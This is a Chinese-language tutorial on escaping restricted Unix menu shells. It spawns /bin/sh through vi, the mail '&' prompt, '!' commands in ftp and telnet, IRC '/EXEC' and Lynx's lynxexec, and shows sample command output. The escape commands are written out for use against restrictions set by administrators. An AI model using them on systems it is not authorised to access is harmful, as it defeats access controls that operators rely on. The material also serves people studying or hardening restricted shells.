如何突破一个有限制的SHELL
在菜单中得到SHELL用户(UNIX)?
1.1有权使用 "vi" 程序(来自ALT.2600问题解答)
VI是一个强有力的文本编辑器,你可能有机会使用。你就有可能得到一个SHELL。
在VI状态下输入以下命令:
:shell=/bin/sh
然后再运行SHELL这个命令:
:shell
注释: 如果你的SHELL被限制运行 " CD "命令,那么请使用FTP来得到,这就可以了。
有权使用 "mail" 程序
如果你有权利使用 "mail" 程序来写信请按照下面一步步做:
在菜单选项上运行"mail"程序。
实例:
1.Email (mail) <--------选择这一项到
Email No mail for user1.....
(他会自动地返回选项菜单)
所以在此之前,你要写一封信给你自己
1.Email (mail) <--------选择这一项到
Email Mail version ?. Type ? for help.
"/var/spool/mail/user1": 1 messages
> 1 ck@my.host.edu Thu Sep 1 1:11 1/99 "test"
&
Ok,现在我们停留在 mail 的 "&" 提示符下,那么现在只需要输入以下命令:
&!/bin/sh[回车]
$ <------------ 终于不用再见到那该死的菜单了 ^_^
注释: 许多程序里字符 "!" 可以直接制定和运行一个 SHELL 命令,在合式的一个场合中 你可以运行 "/bin/sh" 去得到一个 shell。
FTP and Telnet FTP and Telnet 他们同样有能力在提示符下运用字符 "!" 来执行命令:
ftp> !ps <-------- !(command)
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps
telnet>!ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps
在一些用户的初始配置文件里,并不会为你配置所有命令的绝对路径,那么当你要运行一个程序 时,如果你的配置文件里路径查找不到它将不会执行。这个时候你就要输入这个程序的绝对路 径了。
实例:
ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps
ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps
注释:无论何时都要设法执行 !/bin/sh
注释: WIN95/98 AND NT:
ftp>!command.com Microsoft
Microsoft Windows NT DOS
Copyright Microsoft Corp 1990-1996.
C:\>
IRC
如果有限制的 SHELL 菜单里可以运行执行 IRC client (Internet Relay Chat)
当在登录的时候,你可以执行任何命令
/EXEC (command)
Lynx 可以使用以下命令 lynxexec and lynxprog:
实例:
lynxexec:ls -l
lynxprog:news
lynxexec:/bin/sh
实例: lynx lynxexec://localhost/finger
PS:如有出错,请各位大客指出。
- · 创建带vi编辑器的引导盘
- · SCO下转换大写金额的SHELL脚本
- · cc的基本用法
- · 一个shell编写菜单
- · tar解压
- · 网卡的配置和相关检测
- · dd 命令的用法
- · 分享SCO UNIX安装经验
- · swap--交换区配置
- · 用sed实现文件反转
- · Unix下打包命令的使用
- · 创建带网络功能的SCO UNIX 5.05应急软盘组
- · 如何在SCO UNIX 5中直接运行DOS/WINDOWS程序
- · Unix中限制root远程登录的方法
- · sco的管理工具
- · 轻松制作SCO UNIX系统备份
- · SCO Unix十大常见故障
- · 在sco 5.0.5中定时运行程序
- · 在SCO系统中配置非SCSI磁带设备
- · DAT磁带机安装(SCO UNIX 5.0.4)
- · 烧制2.88MB的应急引导盘
- · 创建一个包含vi的SCO5.05系统应急引导盘
- · 应急启动盘与安全管理
- · 创建带网络功能的SCO5.05应急软盘组
- · SCO root密码丢失的处理
- · 提升UNIX中文件系统使用效率
- · 在安装SCO OpenServer时如何设置硬盘驱动器
- · SCO 三种安装BTLD的方式
- · SCO中如何对用户帐户加锁及解锁
- · 与性能相关的几个核心参数(CPU,I/O,MEMORY)
- · SCO Unix 故障排除四例
- · 如何在SCO系统中配置一个非SCSI磁带设备
- · 如何注销sco openserver的空闲用户(只针对非图形的用户)
- · 出现 LOGIN:ERROR-Failed to initialize policy manager
- · FTP命令详解及使用技巧
- · 如何使用工具badtrk检查磁盘坏道?
- · 如何使用工具badtrk检查磁盘坏道?
- · UNIX系统下部分控制代码介绍及其应用
